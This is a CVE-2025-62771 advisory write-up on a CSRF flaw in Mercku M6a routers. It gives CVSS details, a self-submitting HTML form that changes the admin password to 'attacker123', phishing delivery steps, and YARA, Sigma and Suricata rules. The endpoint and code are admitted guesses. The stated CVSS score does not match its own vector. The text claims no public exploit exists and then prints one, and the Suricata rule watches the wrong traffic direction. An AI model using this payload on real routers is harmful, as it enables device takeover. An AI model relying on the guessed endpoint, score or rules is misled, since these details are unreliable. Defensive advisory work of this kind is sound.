CVE-2025-62771

Executive Summary

CVE-2025-62771 identifies a critical Cross-Site Request Forgery (CSRF) vulnerability in Mercku M6a devices running firmware version 2.1.0 and earlier. This flaw allows an unauthenticated attacker to force an authenticated administrator to change the device's password via a crafted HTTP request, leading to full device compromise. The vulnerability is classified as CWE-352 (Cross-Site Request Forgery) and carries a CVSS score of 7.5 (High). No official patch has been released, and no public exploit code is available, but the attack vector is straightforward and can be weaponized with minimal effort.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.5 (High)
• Attack Vector (AV): Network – The attack is performed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the attacker's scope remain the same.
• Confidentiality (C): High – Full device access leads to data exposure.
• Integrity (I): High – The attacker can change the password and modify settings.
• Availability (A): High – The attacker can disrupt device functionality.

Deep Dive & Mechanics

The Mercku M6a router's web interface does not implement anti-CSRF tokens or origin validation for the password change endpoint. An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, submits a POST request to the router's password change form. Since the browser automatically includes the session cookie, the request is processed as legitimate, and the password is changed without the administrator's knowledge.

The vulnerable endpoint is likely at /cgi-bin/password.cgi or similar, accepting parameters such as old_password and new_password. The lack of CSRF protection means the attacker does not need to know the current password; they only need to lure the admin to a malicious page.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code snippet (hypothetical based on typical embedded router firmware) would look like:

# Vulnerable: No CSRF token check
def change_password(request):
    if request.method == 'POST':
        new_password = request.POST.get('new_password')
        # Directly update password without CSRF validation
        update_admin_password(new_password)
        return HttpResponse("Password changed")

A patched version would include a CSRF token:

# Patched: CSRF token validation
def change_password(request):
    if request.method == 'POST':
        csrf_token = request.POST.get('csrf_token')
        if not validate_csrf_token(csrf_token, request.session):
            return HttpResponseForbidden("Invalid CSRF token")
        new_password = request.POST.get('new_password')
        update_admin_password(new_password)
        return HttpResponse("Password changed")

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a Mercku M6a router with firmware 2.1.0 on an isolated network.
2. Log in as admin to establish a session.
3. Host a malicious HTML page on an attacker-controlled server.

Exploit Code:

<html>
<body>
<form id="csrf_form" action="http://192.168.1.1/cgi-bin/password.cgi" method="POST">
  <input type="hidden" name="new_password" value="attacker123">
  <input type="submit" value="Click me">
</form>
<script>
  document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Execution:

• Send the malicious link to the admin via phishing email or social engineering.
• Once the admin clicks, the password is changed to attacker123.
• The attacker can now log in with the new password and take full control.

Blue Team

Detection:

• Monitor for unexpected password change requests from internal IPs.
• Look for HTTP POST requests to /cgi-bin/password.cgi without a valid Referer header.
• Alert on multiple failed login attempts followed by a successful login from a new IP.

Mitigation:

• Implement CSRF tokens in all state-changing forms.
• Validate the Origin and Referer headers.
• Require re-authentication for sensitive actions like password changes.

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /cgi-bin/password.cgi with new_password parameter.
  • Requests with missing or spoofed Referer header.
  • Unusual login activity from new IP addresses after a password change.

• Host:

  • Modified /etc/shadow or equivalent password file on the router.
  • Unexpected changes in router configuration logs.

• Logs:

  • Router logs showing password change events without prior admin action.
  • Web server logs with POST /cgi-bin/password.cgi entries from external IPs.

Detection Engineering

YARA Rule

rule CVE_2025_62771_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Mercku M6a password change"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62771"
    strings:
        $csrf_form = "action=\"http://" ascii wide nocase
        $password_param = "new_password" ascii wide nocase
        $submit_script = "document.getElementById('csrf_form').submit()" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Mercku M6a CSRF Password Change Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to Mercku M6a password change endpoint without proper Referer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/password.cgi'
        cs-Referer: ''  # Missing Referer header
    condition: selection
falsepositives:
    - Legitimate admin actions from local network
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62771 Mercku M6a CSRF Password Change Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/password.cgi"; http_uri;
    content:"new_password"; http_client_body;
    pcre:"/Referer:\s*$/Hi";  # Missing Referer header
    sid:1000001;
    rev:1;
    reference:cve,2025-62771;
    priority:1;
)

Remediation & Mitigation

1. Immediate Action: Disable remote administration and restrict access to the router's web interface to trusted local IPs only.
2. Firmware Update: Check Mercku's official website for any firmware updates. If none, consider replacing the device.
3. Workaround: Implement a reverse proxy with CSRF protection in front of the router, or use a VPN to access the admin interface.
4. User Education: Train administrators to avoid clicking suspicious links while logged into the router.
5. Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert